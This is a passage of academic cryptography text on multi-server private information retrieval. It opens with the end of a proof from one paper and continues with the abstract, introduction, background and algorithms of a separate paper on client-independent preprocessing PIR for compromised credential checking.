is independent of the query index, hence security holds. For the
latter, we show that, for databases D and D′ where |D| = n and
|D′| = n+ o(n), the following two distributions,

Ponline =


h← Prep(D)

qonline : h′ ← IncPrep(D, δ, h)
qonline ← Query(h′, i)


and

P ′
online =

{
qonline : h′ ← Prep(D′)

qonline ← Query(h′, i)

}
are computationally indistinguishable ( {Ponline}λ ≈c {P ′

online}λ).
We define P̃online to be the distribution of outputting the set be-

fore removing an element in Query. From Lemma 6, we know
{P̃online}λ ≈c {P̃ ′

online}λ. And by Lemma 45 in CK [23], the conclu-
sion holds. Furthermore, Lemma B.2 in Checklist [40] shows that
the aforementioned improvement maintains security.

Theorem 10 (Non-triviality). Let Π = (Prep, IncPrep, Query,
Refresh, Resp, QueryRecov, RefreshRecov) be the scheme in Sec-
tion 6, and suppose the underlying incremental PRS Ψ satisfies
non-triviality. Then Π satisfies non-triviality in Definition 2.

Proof. For additions, the non-triviality for incremental CK directly
follows from PRS non-triviality (Appendix A.3). We give concrete
formula for IncPrep’s cost here.

Suppose the database is of size n, and there is m = o(n) number
of elements added. For each set Sj where j ∈ [J ], the client samples
wj from the distributionHG(m,m+ n, s). The cost of evaluating
the PRPs and computing parities for data objects is O(b

∑
j∈[J] wj).

Since J = (n/s) logn, we have
∑(n/s) logn

j=1 E[wj ] = m·s
n+m

·
(n/s) logn ≤ m logn. Therefore, the total computation to the
offline server is in expectation O(bm logn).

For edits and deletions, non-triviality holds when m|Q| (Sec-
tion 6.1) is sublinear in n. We additionally discuss an optimization
for incremental updates when m|Q| is linear or even super linear in
n in our technical report [46, Appendix C].
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Abstract
Multi-Server Private Information Retrieval (PIR) is a cryp-

tographic protocol that allows a client to securely query a
database entry from n ≥ 2 servers of which less than t can
collude, s.t. the servers learn no information about the query.
Highly efficient PIR could be used for large-scale applications
like Compromised Credential Checking (C3) (USENIX Secu-
rity’19), which allows users to check whether their credentials
have been leaked in a data breach. However, state-of-the art
PIR schemes are not efficient enough for fast online responses
at this scale.

In this work, we introduce Client-Independent Preprocess-
ing (CIP) PIR that moves (t−1)/n of the online computation
to a local, client independent, preprocessing phase suitable for
efficient batch precomputations. The online performance of
CIP-PIR improves linearly with the number of servers n. We
show that large-scale applications like C3 with PIR are practi-
cal by implementing our CIP-PIR scheme using a parallelized
CPU implementation. To the best of our knowledge, this is the
first multi-server PIR scheme whose preprocessing phase is
completely independent of the client, and where online perfor-
mance simultaneously improves with the number of servers n.
In addition, we accelerate for the first time the huge amount
of XOR operations in multi-server PIR with GPUs. Our GPU-
based CIP-PIR achieves an improvement up to factor 2.1×
over our CPU-based implementation for n = 2 servers, and
enables a client to query an entry in a 25 GB database within
less than 1 second.

1 Introduction

The main motivation for this work is improving the security
and privacy of large-scale applications of Private Information
Retrieval (PIR) like Compromised Credential Checking (C3
– checking whether a user’s credentials appear in a database
of compromised credentials) [48], private blocklists in web
browsers [33], and epidemiological modeling [28]. The cur-
rent state of the art of C3 implementations must leak some

information about each query (namely, about the user’s cre-
dentials), in order to support low response latency and to scale
to the sizes of existing datasets [35, 48] . This leakage allows
certain attacks [35].

We present a new PIR construction with offline prepro-
cessing, which hides all information about the queries and
on top reduces the response latency compared to all existing
PIR schemes. This construction works in a setting where the
responses are computed by n servers of which less than t can
collude. We discuss in §1.3 the applicability of this setting
to C3, as well as to other applications. On top of this, we im-
plement for the first time multi-server PIR on GPUs in order
to accelerate (a) large parts of the online computations, and
(b) the offline preprocessing phase of our new PIR scheme,
by batching multiple queries independently of the client.

1.1 Private Information Retrieval (PIR)

Private Information Retrieval allows to securely and privately
access data from a public database whereby the servers do not
learn any information about the query nor the accessed data.
State of the art single-server PIR protocols like SealPIR [2]
are often not efficient enough for large-scale databases as their
response time is already a couple of seconds for databases
with only a few million entries (see also Fig. 5).

Hence, we build a new multi-server PIR protocol called
CIP-PIR. As a basis, we use the RAID-PIR protocol [15,
16], which is a multi-server PIR scheme with n≥ 2 servers
of which less than t can collude that extends Chor et al.’s
PIR scheme [10]. Motivated by the very fast response times
required for large-scale applications, we aim to preprocess
a large part of the PIR protocol. For this, we introduce the
Client-Independent Preprocessing (CIP) PIR model which
lets the servers choose a part of the client’s query in the
RAID-PIR protocol and moves (t−1)/n of its computation
to an offline preprocessing phase which is even independent
of the client. Now, this phase can be batch processed for all
clients together resulting in faster amortized preprocessing
and hence total time. We also show how to compress the PIR
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database to improve storage and computation in PIR which is
of independent interest.

We show corresponding improvements by implementing
our CIP-PIR protocol on a CPU and obtain up to factor n×
better online runtime than RAID-PIR without decreasing the
throughput. Moreover, while RAID-PIR trades security for
better performance (only less than t ≤ n servers may collude),
the performance of the online phase of our CIP-PIR scheme
becomes independent of the collusion threshold t.

We further improve the runtime of our CIP-PIR protocol
by massively parallel computations of the preprocessing and
online computations on a GPU. The GPU-accelerated imple-
mentation highly profits from batching multiple queries in
the preprocessing phase as expensive memory transfers of
portions of the database are amortized.

1.2 Large-Scale PIR Applications
There is a high interest in efficient PIR for multiple appli-
cations. Our CIP-PIR construction can be used in any PIR
application which requires low latency for large-scale data.
An important and omnipresent application in the context of
compromised credential checking (C3) is described below.
Further applications with these requirements are, for example,
private queries to medical and patent databases [4], anony-
mous messaging [16], Tor clients downloading a list of nodes,
and certificate/key transparency. A recently proposed applica-
tion which requires low latency is to support private queries
by browsers to blocklists of malware-hosting websites, as in
Google’s “Safe Browsing” blocklist [33]. Another potential
future application, which is motivated by the push for privacy-
preserving advertising and the elimination of cross-site user
tracking, is serving advertisements to users: The goal would
be for the user’s machine to locally decide on ads that best
target the user, and then fetch these ads privately using PIR.
(Of course, this future ad system will also require additional
privacy-preserving mechanisms, such as for profiling users
interests, and for exposure measurement and billing.)

Compromised Credential Checking (C3). Data breaches
occur more and more in the recent years. These breaches
contain highly sensitive information about the users, e.g.,
their passwords and usernames. The most prominent breach
contains more than two billion credentials and is called Col-
lection 1-5 [26]. Thomas et al. [47] showed that 6.9% of
the breached credentials are still in use even on non-exposed
platforms. This enables credential stuffing attacks, where an
adversary compromises accounts by trying leaked passwords
on other services. Usually, the affected platforms reset their
user’s passwords of their users after an exposure, but this does
not alert the users about the risk of using the same credential
on other platforms. Hence, there is a demand for Compro-
mised Credential Checking (C3) tools [35] that allow users to
check whether their credentials are breached or not.

Popular password managers already integrate C3 services:
1password uses HaveIBeenPwnd (HIBP) [30, 45] and Last-
Pass uses ENZOIC [20, 21]. These schemes offer up to four
different query types: querying the client’s username or pass-
word, the service’s domain, and the combinations of the
client’s username and password. Thomas et al. [48] conclude
that querying the username/password combination is the best
option due to the user-friendliness, as password-only queries
would alert users too often and the other two options are too
vague (cf. [48] for further discussions). Recently, Thomas
et al. [48] published their Google Password Checkup (GPC)
tool as a Google Chrome extension that is the first C3 service
secure against malicious clients (a variant of this is now inte-
grated in Chrome, see below). They achieve this with the help
of a Private Set Intersection (PSI) protocol that enables one
party to privately check if her input is in the set of the other
party (actually this is a variant of PSI where one input set
consists of a single element only). To optimize efficiency, all
these tools run the PSI protocol only on a small subset of the
entire database, where the elements have the same prefix of
the hashed credentials. For this, the hash prefix is leaked to the
server. However, the hash prefix can be used for a credential
stuffing attack on the user’s anonymity as the server learns
in which subset the credentials would be located [35]. A PSI
protocol on the whole database would avoid such leakage, but
it is too inefficient for large-scale databases.

This attack is not only theoretical. Li et al. [35] showed that
knowledge of the credential’s hash prefix suffices to compro-
mise up to 86% of the leaked accounts within 1000 attempts
(even up to 73% of the accounts that are not included in a
data breach). To protect the user’s sensitive information, they
provide two new C3 protocols from which one still has the
leakage problem that enables credential stuffing attacks. The
other protocol was proposed in parallel by Thomas et al. [48]
and does leak no information about the user’s password since
the subset is identified by a prefix of the hashed username.
This protocol, however, has the disadvantage that the user’s
anonymity is even more vulnerable since the adversary learns
information about the username. Moreover, the protocol can
only be deployed for applications where the user can check
the existence of its username/password combination in a data
breach, while more security-aware users aim to check, if their
passwords are attacked (even if the username is not included).
In Aug. 2020, Google integrated and enabled by default this
protocol in their Chrome web browser [11]. They hold a
database of four billion leaked credentials and their deployed
protocol leaks a three byte hash prefix of the username.

Thomas et al. [48] and Li et al. [35] both suggest to use
Private Information Retrieval (PIR) to hide the hash prefix,
which yields perfect anonymity, i.e., the C3 protocol does not
allow to identify the user. However, [48] and [35] observe that
current PIR techniques are not efficient enough to be operated
in a real-world deployment. In this work, we show how to
build and use highly efficient multi-server PIR for use in C3.
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1.3 Setting and Applicability

Our model includes multiple servers, and guarantees security
as long as there is no collusion of more than some threshold
number of the servers. The usage of multiple servers seems
crucial for ensuring both scalability and security. In fact, all
large-scale C3 systems with a single server send to the server
partial information about users credentials, which, as was
shown by Li et al. [35], might compromise a large fraction of
the users.

The assumption that servers do not collude with each other
might not be credible by the public if all servers are run by
the same entity (such as Google). Therefore, servers must be
operated by multiple entities which are trusted not to collude.
While this is a standard assumption/requirement in the crypto-
graphic literature (e.g., for MPC protocols, multi-server PIR
and threshold crypto), it is unclear if this assumption always
makes sense from a business perspective. There are however,
recent examples where companies are deploying services
whose security depends on non-colluding servers. For exam-
ple, Apple and Google run their exposure notification system
for COVID-19 contact tracing via the Prio system [12] that
is operated by the Internet Security Research Group (ISRG),
which also runs the Let’s Encrypt certificate authority and is
therefore an entity which is trusted by Internet users, as well
as the National Institutes of Health (NIH).1 The additional
servers can be run by organizations with a privacy-centric
mission, or by different companies which would like to col-
laborate in order to provide a service to the public.

The recent Apple/Google collaboration on an API for
COVID-19 contact tracing is an example of a collaboration be-
tween companies (in a different domain) which was unimag-
inable until recently. This collaboration shows that two com-
peting companies can have a strong mutual interest in offering
privacy-preserving services to their users for real-world ap-
plications. Apple introduced in iOS14 It is very unlikely that
any of these corporations would attempt to use a leakage in a
C3 system to steal a user’s password. However, as more users
are becoming concerned about their privacy, companies might
want to provide users with the strongest possible privacy that
can be offered using multi-server PIR. Another motivation for
participating companies, might be their desire not to be liable
for knowledge of unnecessary private user data, or the fear
that company insiders could try to learn such information.

1.4 Our Contributions

We propose, implement, and benchmark CIP-PIR, an efficient
multi-server PIR protocol that is designed for large-scale ap-
plications operating multiple GB large databases and outper-
forms recent efficient PIR implementations like PIR based

1See, for example https://covid19-static.cdn-apple.com/
applications/covid19/current/static/contact-tracing/pdf/
ENPA_White_Paper.pdf.

on function secret sharing [7]. Furthermore, CIP-PIR can be
used by companies who want to provide privacy-preserving
services to their customers as the underlying cryptography
is so simple that even non-experts can be convinced of its
security and correctness. For this, we design a strong new
PIR model called client-independent preprocessing, which
allows for the first time very efficient offline preprocessings
completely independent of the client, i.e., the PIR servers do
not even need to know the clients for the preprocessing. Our
main contributions are summarized as follows:

Client-Independent Preprocessing PIR Model (§2.1).
In the multi-party computation (MPC) literature the prepro-
cessing model has prevailed as it gives tremendous speedups
for the online computation by precomputing expensive cryp-
tographic operations of the same type, ideally in parallel (e.g.,
somewhat homomorphic encryption in SPDZ [32]). Today,
this model is common for many efficient state-of-the-art MPC
protocols. In concurrent and independent work, the prepro-
cessing model was applied to multi-server PIR in [33]. In that
work a server interacts with the client in an offline phase to
precompute some hints that are later used in the online phase.
We go one important step further: our Client-Independent
Preprocessing (CIP) PIR is client-independent and hence can
be performed even before knowing the client(s). This allows
local and parallel preprocessing across all clients with signifi-
cant speedups.

CIP-PIR Protocol (§3.2). The first PIR scheme in our new
CIP PIR model is called CIP-PIR that is based on the very sim-
ple RAID-PIR scheme by Demmler et al. [15, 16] and moves
a part of the client’s query generation to the server sides. This
costs an additional round trip, but allows for very efficient
offline preprocessing without involving the client. Moreover,
the preprocessing phase can easily be batch-processed with-
out waiting for numerous client requests resulting in faster
amortized preprocessing and hence total time. We note that
our scheme (as the original PIR by Chor et al. [10]) has linear
communication complexity, but this is only one bit per block.

Database Compression in PIR (§3.3). We design and
implement two database compression techniques that are ap-
plicable to all PIR constructions. Our first compression tech-
nique is applicable to all database types and improves the
storage by factor 1.2×. Our second compression technique is
designed for special-purpose hash databases and reduces the
storage and online runtime by factor 5× for a false-positive
probability of 2−20. There are many real-world applications
for PIR on hash databases including all private set inclusion
PIR applications (e.g., medical and patient databases), C3, and
epidemiological modeling. Moreover, the GPC protocol [48]
can profit from both of our compression techniques to reduce
the database size by factor 5.9×.

CPU and GPU Implementation (§4). We implement our
CIP-PIR protocol in a highly efficient manner in C++. Our par-
allel implementations for CPUs and GPUs are of independent
interest as they are applicable also within other multi-server
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PIR schemes, e.g., the linear XOR operations of PIR based on
function secret sharing [7, 8] after expanding the PIR query.

Our CPU implementation uses Intel AVX-512 intrinsics to
support XOR operations over 512 bits within one CPU cycle.
Moreover, we massively parallelize the server computation
using the OpenMP framework. We gain (using the same code-
base) for n = 2 servers up to 2× better online runtime (5×
better for n = 5 servers and collusion threshold t = 5) than
RAID-PIR [16] and 1.2× faster amortized preprocessing time
for batch size |Q|= 1000.

Our GPU implementation provides for the first time a
multi-server PIR implementation on a GPU using Nvidia’s
CUDA platform [9, 43]. We implement and benchmark two
approaches for efficient parallelization: With the first one,
all CUDA blocks together compute the answer of one query,
while the second one batches incoming queries and all the
CUDA blocks process one query, separately. We gain for n =
2 servers up to 2.1× faster online runtimes than our CPU-
based CIP-PIR implementation, and 85× faster amortized
online and preprocessing runtime for batch size |Q|= 1000.

2 Preliminaries and Background

2.1 PIR Background
In Private Information Retrieval (PIR), as introduced by Chor
et al. in [10], a client wishes to learn one or multiple blocks
from a public database |DB|, while using only sublinear com-
munication, and hiding the details of the query from the
database owner(s). We focus on multi-server PIR schemes
since they have a substantially lower computational overhead.
In multi-server PIR the database DB is split over n≥ 2 servers
that are assumed not to collude. The client sends a request to
each server and combines the answers to compute the result.

Definition 1 (classical PIR protocol) A classical PIR pro-
tocol is a tuple of algorithms (Create, Request,
Response, Combine) as described below:
Create is locally run once by the owner of the database.

It takes as input some data array D, and outputs for each
server i ∈ [n] a database DBi which is sent to the server.
(Note that unlike the original PIR constructions of [10], each
server might receive a different database/state).
Request is run by the client and takes as input the in-

dex idx of the data item to access and outputs a list of
queries (q0, . . . ,qn−1), where qi is sent to server i.
Response is run by each server i. It takes the query qi

as input and outputs an answer ai based on the local
database DBi.

The client collects the answers a0, . . . ,an−1 from the
servers and calls the Combine algorithm that outputs the
desired data d = D[idx].

The PIR scheme must satisfy the following definitions for
correctness (stating that the client must be able to correctly

compute the answer of its query), and for security (stating
that a subset of the serves learns nothing about the query).

Definition 2 (Correctness) For any database D,
let Create(D) = (DB0, . . . ,DBn−1). For any
idx ∈ [0, |D| − 1], let Request(idx) = (q0, . . . ,qn−1).
For any server j, let a j = Response(DB j,q j). Then
Combine(idx,a0, . . . ,an−1) = D[idx].

Definition 3 (Security of multi-query PIR) A PIR scheme
with redundancy parameter/threshold 1 < t ≤ n is called se-
cure if any collusion of less than t servers does not learn any
information about the query indexes.

In more detail, let κ be a computational security parameter
and let T denote any subset of less than t servers, and let
the view of server j denote DB j and all queries q j that this
server receives. We require that for any data D, and any two
same-length sequences of (possibly not all unique) requests
R = (idx1, . . . , idxm) and R′ = (idx′1, . . . , idx′m), no algorithm
whose run time is polynomial in m and in κ can distinguish
the view of the servers in T , between the case of the client
using the requests in R, and the case of it using R′.2

The original PIR protocol of Chor et al. [10] guaranteed un-
conditional security. Our protocol will ensure only computa-
tional security as is defined here, based on the basic security
assumption that pseudo-random generators exist.

A PIR scheme must also satisfy communication efficiency,
by guaranteeing that the overall communication is smaller
than sending D itself, and is only o(|D|).

2.2 Multi-Server PIR schemes
Multi-server PIR assumes that a subset of the n operating
servers are non-colluding. Let us first give an informal de-
scription of the scheme by Chor et al. [10], on which most
multi-server PIR schemes are based. First, the input data D
is split into B blocks of size b each, which results in the
database DB. If the client is interested in learning block i it
sends to the first server a random B-bit string q0, and sends to
the second server a string q1 which is equal to q0 in all bits
except for the i-th bit, in which the two strings are different.
Each server computes the XOR of the blocks which corre-
spond to ‘1’ bits in the string that it received, and sends the
resulting b-bit block to the client. The client then computes
the XOR of the two strings it received. This result is equal to
the i-th block. The total communication with each of the n
servers is B+b bits.

2 We note that the original PIR definition only protects the privacy of
the client and not the privacy of the server. Namely, it does not prevent the
client from learning more than a single data item. This property is called
“symmetric PIR” [24]. It can be ensured by encrypting each entry of the
server using a key known only to the server, and letting the client run a single
instance of an efficient oblivious pseudo-random function evaluation protocol
(OPRF) in order to learn the decryption of only a single item [22, 40].
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The core idea of multi-server PIR directly follows from this
protocol. The client sends messages to each of the n servers.
Server i extracts from its message a B-bit query strings qi.
The XOR of the n query strings of all servers is a string of
B bits, which are all zero except for a single ‘1’ bit at the
position corresponding to the block that the client aims to
retrieve. In the online computation, each server i computes
the XOR of all database blocks which correspond to ‘1’ bits
in qi. Different PIR schemes differ in encoding the request on
the client side and extracting the B-bit strings on the server
side. We now describe how the client queries are encoded and
extracted in RAID-PIR [15, 16] and in all PIR schemes based
on function secret sharing [7, 8].

RAID-PIR [15,16]. In RAID-PIR [15,16] the B blocks are
split into n chunks (recall that n is the number of servers).
Each server receives t ≤ n chunks, and therefore stores t/n
of the database (where t is the collusion threshold). Conse-
quently, the client’s queries are shorter and each server only
XORs a smaller subset of the blocks. As before, the XOR
of all n queries is equal to a B-bit string which is also zero
except for a ‘1’ bit at the block that the client wishes to learn.

Each block is included in a chunk of k = B/n blocks,
which is stored by t servers. A crucial observation that is
used to improve performance is that for any specific block,
out of the tk bits that instruct t servers what to do with this
block, (t − 1)k bits can be pseudo-random and only k bits
need to be explicitly set to ensure that the result of the XOR
is correct. Therefore instead of sending a full length string
to each server, the client can send to each server a seed that
is used to compute a 1/t fraction of the string that the server
must use. This cuts the communication from the client to the
server by factor t×. Performance can further be improved
with a time-memory tradeoff that precomputes queries using
the method of Arlazarov et al. [3] (known as the “method of
the four Russians”), and optimizing the database layout to
allow for parallel queries.

PIR based on Function Secret Sharing. PIR based on
function secret sharing (FSS) as proposed by Boyle et al. [8]
uses a distributed point function in order to encode the query
of the client. A distributed point function fα,β is a pair of func-
tions f0, f1, where fα,β(x) evaluates to β for x = α and to 0 for
x 6= α, and fα,β(x) = f0(x)+ f1(x) holds for all x ∈ {0,1}B

and B ∈ N (the number of blocks in PIR). A function se-
cret sharing on distributed point functions is instantiated by
a client choosing two keys k0 and k1, defining two functions
f̂0(x) = f0(k0,x) and f̂1(k1,x) = f1(x), and distributing these
to two servers. When a client aims to retrieve block i in
PIR, he generates a distributed point function fi,1 and secret
shares this to the two servers via function secret sharing.
Server j then can extract the query by calculating f̂ j(x) for all
x ∈ {0,1}B, which then results in a B-bit string q j. The XOR

of these two strings q0 and q1 results in a zero B-bit string
with only one ‘1’ at position i. In addition, FSS-PIR is mostly
applicable to the two-server setting.

FSS-based PIR is the first multi-server PIR scheme that
has logarithmic upload communication complexity, while the
download depends on the chosen blocksize b. Although the
communication complexity of our new CIP-PIR scheme is
sublinear, the total online runtime of CIP-PIR improves over
FSS-PIR for large databases (cf. §5.2.2)

2.3 CUDA

Nvidia’s Compute Unified Device Architecture (CUDA) [9,
43] is a framework that allows to program GPUs to compute
Single Instruction, Multiple Data (SIMD) instructions and to
support direct memory access. It is a popular architecture for
highly parallelized programming run by a large number of
threads each performing simple instructions from CUDA’s
own instruction set architecture called PTX ISA. All threads
have access to a global memory that has a high storage capac-
ity, but takes at least 400 clock cycles per memory access.

The threads are grouped into multiple CUDA blocks each
having a shared memory among its threads. As accesses to the
shared memory are very efficient, we can apply a technique
called coalescing to bundle the global memory accesses of
multiple threads into a single access within a block.

2.4 Threat Model

Throughout this work, we evaluate PIR protocols relative to
the following main threat model: a coalition of malicious
PIR servers try to learn information about the client’s query.
In this threat model, servers can deviate from the protocol
description in order to learn details about the PIR query. This
is obviously critical, since the contents of the query depends
on the underlying application, which we aim to protect by
using PIR. All PIR protocols are designed to hide queries
from coalitions of less than t servers, where t is the collusion
threshold which should obviously be as close as possible to
the total number of servers. (Clearly, if all PIR servers in
multi-server PIR schemes collude, they are able to reconstruct
the client’s plain query.)

3 Private Information Retrieval Extensions

We introduce our new Client-Independent Preprocessing
PIR model (§3.1), describe our CIP-PIR scheme (§3.2), and
present our new PIR database compression technique (§3.3).
We give a summary of the RAID-PIR scheme from [15, 16]
in §A, the security proof of CIP-PIR in §B, its complexity
analysis in §C, and efficient database updates in our full ver-
sion [27, § D] .
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3.1 PIR with Client-Independent Preprocess-
ing (CIP-PIR)

Previous works on PIR, such as [6, 16], improve the online
computation for the server with a time-memory tradeoff that
merges and precomputes once in a setup phase parts of the
database. Then, during the Response method, the servers
only have to combine the precomputed parts depending on the
query qi. Our idea is fully compatible with this time-memory
tradeoff, but goes one significant step further.

We split the preprocessing into two parts - database prepro-
cessing and client-independent preprocessing. The database
preprocessing is a one-time precomputation step in the setup
phase that maps the database into a state that enables the
servers to compute their answer more quickly as described
in [6, 16]. We use this known optimization in our implemen-
tation but do not include it in our presentation for simplicity.
In addition, we introduce the client-independent preprocess-
ing which is a client-independent routine in the preprocess-
ing phase that precomputes concrete parts of the server’s
answer for one query which can be used only once. The client-
independent preprocessing is of course independent of the
contents of the query and can be computed before it is received
by the server. In the following, we define our new client-
independent preprocessing (CIP) PIR model, which goes be-
yond the Offline/Online model of [13] as it computes the
preprocessing/online phase without involving the client.

Definition 4 (PIR in the CIP model) A PIR scheme in the
CIP model is a tuple of algorithms (Create, Preprocess,
Request, Response, Combine). The protocol is shown
in high-level in Fig. 1.

The Create and Combine algorithms are exactly the
same as in the original PIR model from §2.1.

Each server i locally runs the Preprocess algorithm
in a parallel thread that can be started and paused. This
algorithm takes as input the database DBi and adds query-
specific tuples (Si,Ai) to the queue Qi until it is full or the
thread is interrupted. The run is paused until there is new
space for more values in Qi. Si is a short seed and Ai is a part
of the server’s answer for the i-th query that depends only
on Si, but not on the query qi, i.e., Ai is independent of idx.

After the client sends its “hello” message to the servers,
each server i pops one pair (Si,Ai) from Qi and sends Si to the
client. The Request algorithm takes as input the index idx
of the data item to access, and seeds S1, . . . ,Sn obtained from
the n servers, and generates queries q1, . . . ,qn.

Each server i calls the Response algorithm on input DBi,
Ai and the received query qi to return its answer ai.

3.2 Our CIP-PIR Protocol
We now describe the details of our new CIP-PIR protocol,
which is the first PIR protocol in the new client-independent

Server i ∈ [n] Client

Setup Phase (once):
input: data D

DBi← Create(D)

Preprocessing Phase:
Qi← []

Start Preprocess(DBi,Qi)

Online Phase: input: idx

(Si,Ai)← Qi.pop() "hello"

Si (q0, . . . ,qn−1)←

Request(idx,S0, . . . ,Sn−1)

ai← Response(qi,DBi,Ai)
qi

ai d← Combine(a0, . . . ,an−1)

output: d = D[idx]

Figure 1: Messages in client-independent preprocessing PIR
(CIP-PIR). Client communicates with all n servers i ∈ [n] in
parallel.

preprocessing PIR model. We give the security proof of CIP-
PIR in §B and its complexity analysis in §C.

RAID-PIR [15,16] improves over Chor et al.’s scheme [10]
in terms of communication by using seeds, and in terms of
online computation by requesting each server to only touch
a subset of the database. The second improvement reduces
security as the number of servers that are allowed to collude is
reduced from n−1 to t−1, where 2≤ t ≤ n is the threshold.

The general idea of our CIP-PIR scheme is to use the RAID-
PIR scheme, but instead of having the client choose the seeds
in the Request algorithm, let the servers choose the seeds
in the Preprocess algorithm. This enables the servers to
compute in advance (t − 1)/n of the XOR operations, and
complete in the online phase only the remaining 1/n XOR
operations. The online computation is therefore independent
of the collusion threshold t. Then, the servers give the seed to
the client and the protocol proceeds as before.

Create (Algorithm 1). In the setup phase, the input
data D is split into B blocks of b bits each. These blocks are
grouped into n chunks of k = B/n blocks. chunki denotes the
flip chunk of server i and is the first chunk in the database DBi
of server i. Note that all servers hold the same database, but
the order of their chunks differs.

Preprocess (Algorithm 2). As depicted in Fig. 1, the
server permanently computes (seed, value)-pairs (S,A) and
pushes them to its local queue Qi. The seed S is expanded to
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Algorithm 1 Create of CIP-PIR

input: D . data D
(block0, . . . ,blockB−1)← D . split D into B blocks
k← B/n . # blocks per chunk
for all i ∈ [n] do

chunki← blockki| . . . |blockki+k−1
end for
for all i ∈ [n] do

DBi← chunki|chunki+1 mod n| . . . |chunki+t−1 mod n
end for
return DB0, . . . ,DBn−1 . database for each server

a k(t−1) bit query q via a PRG. The precomputed value A is
then the XOR of all blocks from the non-flip chunks whose
corresponding bits in the query q are set to 1. Since each
server has t − 1 non-flip chunks among the n chunks, the
preprocess algorithm precomputes (t−1)/n of the database
s.t. only 1/n of the database is left for the Response algo-
rithm (Algorithm 4) in the online phase.

Algorithm 2 Preprocess of CIP-PIR

input: DBi,Qi . database DBi, queue Qi
(chunk0, . . . ,chunkt−1)← DBi , k← B/n
DB← chunk1| . . . |chunkt−1 . all but first chunk
while Qi is not full do

S←${0,1}κ

q← PRG(Si,k(t−1)) . non-flip chunk
A← q ·DB . XOR blocks of DB corresponding to q
Qi.push(S,A) . push seed/value pair (S,A)

end while

Request (Algorithm 3). The Request algorithm gener-
ates the flip chunk qi for each server i depending on the
server’s seeds Si, and the requested block index idx. Firstly,
the main query q is built by setting the idx-th bit of a B-bit

Algorithm 3 Request of CIP-PIR

input: idx,S0, . . . ,Sn−1 . index idx, seeds S0, . . . ,Sn−1
q← 0B . the main query consists of 1 bit per block
q[idx] = 1, k← B/n . # blocks per chunk
for all i ∈ [n] do

v← PRG(Si,k(t−1)) . pseudo-random bits
u←min(i+ t,n), w←max(i− t +1,0)
q[ki : ku−1]← q[ki : ku−1]⊕ v[0 : k(n−u+1)−1]
q[0 : kw−1]← q[0 : kw−1]⊕ v[k(n−u+1) : kt−1]

end for
for all i ∈ [n] do

qi← q[ik : (i+1)k]
end for
return q0, . . . ,qn−1 . query for each server

vector to 1. Then, the client expands the seeds Si to a k(t−1)
bit sub-query v which covers all non-flip chunks of server i.
Server i has u− i chunks to the right (ku− 1 points to the
last block of the u-th chunk, which is the last chunk of the
database if i+ t > n) and the first w chunks of the database (w
can be 0 if i+ t ≤ n). The expanded sub-query v is XORed to
the main query at the respective chunks. Finally, the resulting
query q is split into n sub-queries qi that are the flip chunks
for each server i.

Algorithm 4 Response of CIP-PIR

input: qi,DBi,Ai . query qi, database DBi, precomputed
block Ai
(chunk0, . . . ,chunkt−1)← DBi . chunk0 is flip chunk
ai← Ai⊕qi · chunk0
return ai . answer of server i

Response (Algorithm 4). Server i extracts its flip chunk
from the database (chunk0 in DBi) and XORs all blocks corre-
sponding to bits set to 1 in the query qi. The result is XORed
to the precomputed block Ai from the Preprocess algorithm
and returned to the client. Here, only one chunk, i.e., 1/n of
the database is touched, whereas the remaining (t−1)/n of
the database are already precomputed in block Ai.

Algorithm 5 Combine of CIP-PIR

input: a0, . . . ,an−1 . answers of the servers
d←

⊕n−1
i=0 ai

return d . data block d

Combine (Algorithm 5). The XOR of all server an-
swers ai is obtained as d = D[idx] =

⊕n−1
i=0 ai.

For each query, the server pops a pair and sends seed Si to
the client after obtaining its initial "hello" message.3

Communication Comparison. Table 1 compares the on-
line communication complexities of our CIP-PIR scheme with
the recent FSS-PIR [7, 8] and Online-Offline (OO)-PIR [33]
implementations for downloading a b̂ =

√
|DB|/8n block as

required for a PIR-based C3 protocol. The concrete values
shown in this table are computed for a |DB|= 16 TB database,
which is three orders of magnitude larger than GPC’s C3
database with all of our compression techniques. For a fair
comparison, we assume that these compression techniques
were applied to the other PIR schemes as well.

The novel sharing of the client’s request via a distributed
point function makes the upload very cheap in FSS-PIR, while

3An outer protocol must ensure that clients cannot run a denial of service
attack by just sending many "hello" messages which would quickly drain the
server’s queue. This can be done with proper rate limiting, e.g., using client
puzzles [31].

USENIX Association 31st USENIX Security Symposium    1765



Scheme Communication Concrete (Upload + Download)
Upload Download (|DB = 16 TB, n = 2, κ = 128, b = 1 KB)

CIP-PIR [this work] n
√
|DB|/8n nκ/8+n

√
|DB|/8n 4096,0 KB

FSS-PIR [7] κ(log2(|DB|/128)+2) nb 2,6 KB
OO-PIR [33] 2(κ log2 |DB|+1) log2(|DB|) 4b 64,6 KB

Table 1: Online communication comparison of our CIP-PIR scheme with FSS-PIR [7] and Online-Offline (OO)-PIR [33] on
a |DB|=16 TB database with n = 2 servers and security parameter κ = 128 bit. We set the blocksize b = 1 KB for FSS-PIR and
OO-PIR.

the download complexity depends on the chosen blocksize b.
However, for some applications like C3 [48] and epidemi-
ological modeling [28], where large data items need to be
downloaded and thus the blocksize b increases, the communi-
cation complexity of FSS-PIR approaches to CIP-PIR, which
has about the same amount of upload and download for the
optimal blocksize. We see the same observation for OO-PIR,
which is very efficient for retrieving single bits or small data
entries, but its download can even increase that of CIP-PIR
for large blocksizes b.

3.3 Database Compression in PIR

In the following, we show how to compress the database
in PIR schemes by (a) adapting a database compression
technique which was used in [46] in the context of a pri-
vate membership test, and (b) by shorting the hash values in
the database. We compute the optimal blocksize where the
amount of uploaded and downloaded data is nearly equal and
thus the total communication is minimal. We call this opti-
mization PIR with Database Compression. It can be applied
to any PIR scheme that is based on blocks.

Storing the Differences. The idea of the technique of [46]
is to first sort the entire database before it is divided into
blocks. Assume that a block has the entries (e1, . . . ,em). Since
the database is sorted, successive entries are close to each
other and thus we can store their differences instead of the
whole entries themselves, namely only store (e1,e2−e1,e3−
e2, . . . ,em − em−1). It is easy to see that the length of the
differences is smaller than the length of the entries.4 This
compression technique can be applied to any PIR scheme that
is based on blocks.

Since the client only retrieves a single block of the database,
and decompressing the entire database on the server side
would be very inefficient, we apply this compression tech-
nique independently to each block of the database. Therefore
the client does not need to know any data except for the re-

4Suppose that a set contains m items from a domain of size N. Storing
the items themselves requires m logN bits. On the other hand, if the items
are evenly distributed, as is the case when they are generated as outputs of
a hash function, then the average distance between two successive items is
N/m, and we need to store only O(m(logN− logm)) bits.

trieved block to decompress the block. For a better compres-
sion, we increase the blocksize b. Thus, we use fewer blocks
while the blocks become larger but are stored and sent in a
compressed way. Using larger blocks induces a tradeoff: it
increases the communication from the servers to the client,
but reduces the communication from the client to the servers.

